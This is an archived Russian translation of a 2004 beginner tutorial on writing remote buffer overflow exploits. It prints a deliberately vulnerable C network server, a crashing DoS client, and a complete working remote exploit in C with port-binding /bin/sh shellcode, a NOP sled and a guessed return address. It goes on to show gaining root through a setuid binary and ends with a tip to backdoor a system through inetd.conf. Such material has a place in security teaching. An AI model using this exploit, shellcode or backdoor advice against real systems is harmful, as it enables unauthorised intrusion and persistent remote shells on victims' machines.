The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Принципы написания remote эксплоитов (security exploit buffer)


<< Предыдущая ИНДЕКС Поиск в статьях src Установить закладку Перейти на закладку Следующая >>
Ключевые слова: security, exploit, buffer,  (найти похожие документы)
From: intuit Date: Mon, 20 Sep 2004 18:21:07 +0000 (UTC) Subject: Принципы написания remote эксплоитов Оригинал: http://forumer.com/index.php?mforum=code&showtopic=13 Принципы написания remote эксплоитов. автор: Robin Walser irc.euirc.net #usad перевод: intuit /*для начинающих*/ Принципы написания remote эксплоитов. Вступление(от автора). Это моя первая статья по написанию эксплоитов, в которой я расскажу вам о том, как пишутся remote exploits. Для понимания статьи вы должны знать ANSI C, программирование сокетов на C, и, я надеюсь, вы знаете как работают local exploits. Если не знаете, вот список литературы, которая поможет вам разобраться в этих вопросах: * The C Programming language (Kernighan/Ritchie) * Unix Network Programming (Richard Stevens) * Хорошая статья, правда на английском ;], Smashing The Stack For Fun And Profit автор aleph1 Поиск уязвимости в коде. Что мы должны делать ? Мы хотим найти уязвимость в программе (vulnerable.c) и написать эксплоит для этой уязвимости, который даст нам удаленный shell. Для этого Вы должны проанализировать код vulnerable.c, найти уязвимость, скомпилировать vulnerable.c и попытаться "эксплуатировать". Если вы не знаете как это делается, тогда давайте вместе взглянем на код уязвимой программы... Смотрим на функции уязвимой программы, ищем ту которая содержит уязвимость BOF, думаем ;], определяем структуру будущего эксплоита и в конечном итоге пишем эксплоит. vulnerable.c #include <stdio.h> #include <netdb.h> #include <netinet/in.h> #define BUFFER_SIZE 1024 #define NAME_SIZE 2048 int handling(int c) { char buffer[BUFFER_SIZE], name[NAME_SIZE]; int bytes; strcpy(buffer, "My name is: "); bytes = send(c, buffer, strlen(buffer), 0); if (bytes == -1) return -1; bytes = recv(c, name, sizeof(name), 0); if (bytes == -1) return -1; name[bytes - 1] = \0; sprintf(buffer, "Hello %s, nice to meet you!\r\n", name); bytes = send(c, buffer, strlen(buffer), 0); if (bytes == -1) return -1; return 0; } int main(int argc, char *argv[]) { int s, c, cli_size; struct sockaddr_in srv, cli; if (argc != 2) { fprintf(stderr, "usage: %s port\n", argv[0]); return 1; } s = socket(AF_INET, SOCK_STREAM, 0); if (s == -1) { perror("socket() failed"); return 2; } srv.sin_addr.s_addr = INADDR_ANY; srv.sin_port = htons( (unsigned short int) atol(argv[1])); srv.sin_family = AF_INET; if (bind(s, &srv, sizeof(srv)) == -1) { perror("bind() failed"); return 3; } if (listen(s, 3) == -1) { perror("listen() failed"); return 4; } for(;;) { c = accept(s, &cli, &cli_size); if (c == -1) { perror("accept() failed"); return 5; } printf("client from %s", inet_ntoa(cli.sin_addr)); if (handling(c) == -1) fprintf(stderr, "%s: handling() failed", argv[0]); close(c); } return 0; } Компилируем и запускаем программу: user@linux:~/ > gcc vulnerable.c -o vulnerable user@linux:~/ > ./vulnerable 8080 ./vulnerable 8080 - это означает, что вы запустили("повесили") сервис(./vulnerable) на 8080 порт, можно повесить на любой другой порт, кроме привилегированных портов(1-1024), т.к. Вы - не root. Чтож, мы скомпилировали программу и теперь знаем как она запускается... а запускается она с нашими параметрами. program <port> Пришло время узнать некоторые адреса в программе и посмотреть как она устроена. Для этого запустим её под отладчиком gdb ... Сделаем следующее: user@linux~/ > gdb vulnerable GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-suse-linux"... (gdb) run 8080 Starting program: /home/user/directory/vulnerable 8080 Теперь программа "слушает" 8080 порт. Соединимся через telnet или netcat c 8080 портом. user@linux:~/ > telnet localhost 8080 Trying ::1... telnet: connect to address ::1: Connection refused Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. My name is: Robin Hello Robin, nice to meet you! Connection closed by foreign host. user@linux:~/ > Как видите это просто программа, которая не делает ничего кроме, как запрашивает у нас имя и выводит его обратно на экран с приветствием.. Ок, смотрим дальше... Пока мы проделывали это, gdb (debugger) вывел вот такую строку на экран: client from 127.0.0.1 0xbffff28c /*Не пугайтесь, если адрес будет отличаться на вашем компьютере, на моём это было 0xbffff28c */ Ок, наша программа(сервер) все еще запущена в памяти, т.к. она выполняется в цикле, до тех пор пока мы не kill'нем её. Переполнение в программе. Давайте кое-что протестируем... Сейчас мы переконнектимся к нашему "сервису" на 8080 порт и введем более 1024 байт на запрос: "My name is:..." Это будет выглядеть так: user@linux:~/ > telnet localhost 8080 Trying ::1... telnet: connect to address ::1: Connection refused Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. My name is: AAAAAAAAAAAAAAAAAAAAAAAAA....{более 1024 символов "A"} ....AAAAAAAAAAAAAAAAAAAA Наш telnet-клиент отконнектился... но почему ? Давайте взглянем на вывод отладчика gdb: Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) // Не закрывайте gdb!! Что произошло? Как мы видим регистр EIP принял значение 0x41414141, возможно вы знаете почему ? ;] Ок, я попытаюсь обьяснить это. 0x41 это ascii-code A... Мы ввели более 1024 байта(в данном случае 2048 - прим.пер.), программа попыталась скопировать строку name[2048] в buffer[1024].... т.к. строка name[2048] больше, чем 1024, то name[] перезаписал buffer[], а так же перезаписал сохраненный в стеке регистр EIP(extended instruction pointer, в данном случае в нем хранится адрес возврата из функции).. наш буфер выглядит приблизительно так: [xxxxxxxx-name-2048-bytes-xxxxxxxxxx] [xxxxx buffer-only-1024-bytes xxx] [EIP] Так же вы видите как выглядит наш стек, содержащий 1024-байтовый буфер и сохранненый перед ним адрес возврата (EIP) //Не забывайте!!! Регистр EIP имеет размер 4 байта! После перезаписи адреса возврата нашим буфером в стеке, когда уязвимая функция попыталась вернуть управление в main(), EIP восстановился из стека и стал равен 0x41414141, управление передалось коду по этому адресу... и мы получили всеми любимый segmentation fault ;]. Давайте напишем тулзу для DoS'а(программа будет просто выпадать с segmentation fault, как в нашем случае) нашей программы("сервера"): dos.c #include <stdio.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/types.h> #include <netdb.h> int main(int argc, char **argv) { struct sockaddr_in addr; struct hostent *host; char buffer[2048]; int s, i; if(argc != 3) { fprintf(stderr, "usage: %s <host> <port>\n", argv[0]); exit(0); } s = socket(AF_INET, SOCK_STREAM, 0); if(s == -1) { perror("socket() failed\n"); exit(0); } host = gethostbyname(argv[1]); if( host == NULL) { herror("gethostbyname() failed"); exit(0); } addr.sin_addr = *(struct in_addr*)host->h_addr; addr.sin_family = AF_INET; addr.sin_port = htons(atol(argv[2])); if(connect(s, &addr, sizeof(addr)) == -1) { perror("couldn't connect so server\n"); exit(0); } /*Ничего сложного... буфер заполняется 2048 буковками A и посылается программе... ничего более*/ for(i = 0; i < 2048; i++) buffer[i] = 'A'; printf("buffer is: %s\n", buffer); printf("buffer filled... now sending buffer\n"); send(s, buffer, strlen(buffer), 0); printf("buffer sent.\n"); close(s); return 0; } Поиск адреса возврата. Первым делом идем в gdb для поиска esp... я надеюсь вы не закрывали gdb после получения SEGFAULT...и набираем там x/200bx $esp-200 (мануал о командах gdb на русском можно скачать тут http://forumer.com/index.php?mforum=code&act=Attach&type=post&id=16 -прим.пер.), увидим что-то похожее на: (gdb) x/200bx $esp-200 0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff604: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff60c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff614: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff61c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff624: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff62c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff634: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff63c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff644: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff67c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 ---Type <return> to continue, or q <return> to quit--- Итак, теперь мы знаем, где перезаписывается наш буфер.. давайте возьмём один из этих адресов. Чуть позже я покажу вам, почему именно так..(потому что мы должны угадать адрес), возможно вы слышали о NOP-технике.. это повысит наши шансы для определения адреса возврата. Внимание! лучше выбирать адрес, лежащий где-то посередине нашего буфера, состоящего из 0x41, остальное мы перезапишем NOP'ами.. Структура эксплоита. Итак, мы имеем приблизительный адрес возврата... Структура нашего эксплоита будет такой: [1]. Находим значение esp... мы уже сделали это.(мы возьмем адрес возврата близкий к esp, это не вызовет никаких проблем, т.к. буфер мы заполним NOP'ами).. теперь вам надо найти хороший shellcode, который заbind'ит шелл на определенный порт..Не забывайте: в remote эксплоитах мы не можем использовать шеллкоды, написанные для local exploits.. В сети множество portbinder shellcodes вы без труда их найдете. [2]. Определим буфер, который больше, чем 1024 байта. Возьмем его равным 1064 байта, это не вызовет никаких проблем с перезаписью адреса возврата. [3]. Подготовим буфер. Первым делом заполним его NOP'ами: memset(buffer, 0x90, 1064); [4].Скопируем шеллкод в буфер: memcpy(buffer+1001-sizeof(shellcode), shellcode, sizeof(shellcode)); Мы поместили шеллкод в середину нашего буфера. Почему? Ок, если мы имеем достаточное количество NOP'ов в начале буфера, наши шансы передать управление на шеллкод и выполнить его увеличиваются. [5]. Убираем nullbyte из буфера: buffer[1000] = 0x90; // 0x90 - опкод команды NOP [6]. Скопируем адрес возврата в конец нашего буфера: for(i = 1022; i < 1059; i+=4) { ((int *) &buffer[i]) = RET; // RET - адрес возврата, который мы используем ... определяется в #define } Мы знаем, что буфер заканчивается 1024 байтом, но мы начнем копировать с 1022 байта(определяется обычно экспериментальным путем -прим.пер.) и до 1059 байта. Этого будет достаточно потому, что мы _уже_ перезаписали сохраненный в стеке EIP.(мы надеемся на это *g*) [7]. Добавим \0 nullbyte в конец подготовленного буфера: buffer[1063] = 0x0; Всё теперь буфер готов к отправке хосту-жертве... отправляем либо по ip, либо по hostname. Remote exploit. CODE -------------------------------------------- exploit.c -------------------------------------------------- /* Simple remote exploit, which binds a shell on port 3789 * by triton * * After return address was overwritten, you can connect * with telnet or netcat to the victim host on Port 3789 * After you logged in... theres nothing, but try to enter "id;" (dont forget the semicolon) * So you should get an output, ok youve got a shell *g*. Always use: * * <command>; * * execute. */ #include <stdio.h> #include <netdb.h> #include <netinet/in.h> //Portbinding Shellcode char shellcode[] = "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8" "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89" "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0" "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd" "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9" "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75" "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08" "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"; //standard offset (обычно нужно изменить) #define RET 0xbffff5ec int main(int argc, char *argv[]) { char buffer[1064]; int s, i, size; struct sockaddr_in remote; struct hostent *host; if(argc != 3) { printf("Usage: %s target-ip port\n", argv[0]); return -1; } // заполняем буфер NOP'ами memset(buffer, 0x90, 1064); //копирует шеллкод в буфер memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode)); // затирает NOP'ом Nullbyte в buffer[1000] buffer[1000] = 0x90; // Копирует адрес возврата несколько раз до конца буфера... for(i=1022; i < 1059; i+=4) { * ((int *) &buffer[i]) = RET; } buffer[1063] = 0x0; //получает hostname host=gethostbyname(argv[1]); if (host==NULL) { fprintf(stderr, "Unknown Host %s\n",argv[1]); return -1; } // создает socket... s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) { fprintf(stderr, "Error: Socket\n"); return -1; } //Стандартная структура сокета remote.sin_family = AF_INET; remote.sin_addr = *((struct in_addr *)host->h_addr); remote.sin_port = htons(atoi(argv[2])); // коннектимся к hostу-жертве if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1) { close(s); fprintf(stderr, "Error: connect\n"); return -1; } //посылаем подготовленный нами буфер, содержащий shellcode size = send(s, buffer, sizeof(buffer), 0); if (size==-1) { close(s); fprintf(stderr, "sending data failed\n"); return -1; } // завершение соединения close(s); } Использование эксплоита. user@linux~/ > gcc exploit.c o exploit user@linux~/ > ./exploit <host> <port> Сейчас всё будет работать если мы имеем правильный адрес возврата с удаленной машины. user@linux~/ > telnet <host> 3879 Попытайтесь подконнектиться к <host> на 3879 порт и введите: id; uid=500(user) gid=500(user) groups=500(user) Как видно всё прекрасно работает. Получение прав root'а. Делаем следующее: user@linux~/ > su password: ****** root@linux~/ > ls ln vulnerable -rwxrwxr-x 1 500 500 14106 Jun 18 14:12 vulnerable root@linux~/ > chown root vulnerable root@linux~/ > chmod 6755 vulnerable root@linux~/ > ./vulnerable <port> Теперь используя эксплоит на нашей уязвимой программе мы повысим свои права до root *g* Запуск уязвимой программы через inetd.conf. Ок, теперь нас интересует(не так ли ?) как будет работать наша программа, если ее запускать, как демон. Скопируем ее в /usr/bin/ root@linux~/ > cp vulnerable /usr/bin/vulnerable Внесем изменения в кое-какие файлы: root@linux~/ > vi /etc/services (используйте свой любимый текстовый редактор) Определим порт, который мы хотим использовать. Я выбрал 1526. vulnerable 1526/tcp #сохраняем и выходим Теперь подредактируем файл inetd.conf root@linux~/ > vi /etc/inetd.conf внесите такую строчку в этот файл: vulnerable stream tcp nowait root /usr/bin/vulnerable vulnerable 1526 Сохраните изменения. root@linux~/ > killall HUP inetd Рестартим inetd, и видим, что всё прекрасно работает. Совет: хороший способ пробэкдорить систему - внести изменения в /etc/services и inetd.conf для выполнения /bin/sh sh i или sh h *g*.... Решение возможных проблем. Если эксплоит не работает, выберите другой RET, скорее всего проблема в нем, ищите его при помощи gdb(как в пункте 4). (gdb) run <port> user@linux~/ > gdb vulnerable ..... (gdb) run <port>

<< Предыдущая ИНДЕКС Поиск в статьях src Установить закладку Перейти на закладку Следующая >>

 Добавить комментарий
Имя:
E-Mail:
Заголовок:
Текст:




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру